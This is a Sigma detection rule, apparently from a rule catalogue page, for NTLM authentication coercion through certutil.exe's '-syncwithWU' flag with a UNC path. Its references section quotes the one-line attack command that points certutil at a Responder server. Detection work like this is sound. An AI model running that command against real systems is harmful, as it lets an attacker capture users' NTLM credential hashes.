Potential NTLM Coercion Via Certutil.EXE

 1title: Potential NTLM Coercion Via Certutil.EXE
 2id: 6c6d9280-e6d0-4b9d-80ac-254701b64916
 3status: test
 4description: Detects possible NTLM coercion via certutil using the 'syncwithWU' flag
 5references:
 6    - https://github.com/LOLBAS-Project/LOLBAS/issues/243
 7author: Nasreddine Bencherchali (Nextron Systems)
 8date: 2022/09/01
 9modified: 2023/02/14
10tags:
11    - attack.defense_evasion
12    - attack.t1218
13logsource:
14    category: process_creation
15    product: windows
16detection:
17    selection_img:
18        - Image|endswith: '\certutil.exe'
19        - OriginalFileName: 'CertUtil.exe'
20    selection_cli:
21        CommandLine|contains|all:
22            - ' -syncwithWU '
23            - ' \\\\'
24    condition: all of selection_*
25falsepositives:
26    - Unknown
27level: high

References

• Update certutil with "new" functionality · Issue #243 · LOLBAS-Project/LOLBAS

  

  certutil.exe -syncwithWU \\ip_responderserver\CRL NTLM auth coercion to remote server

  
  Read More

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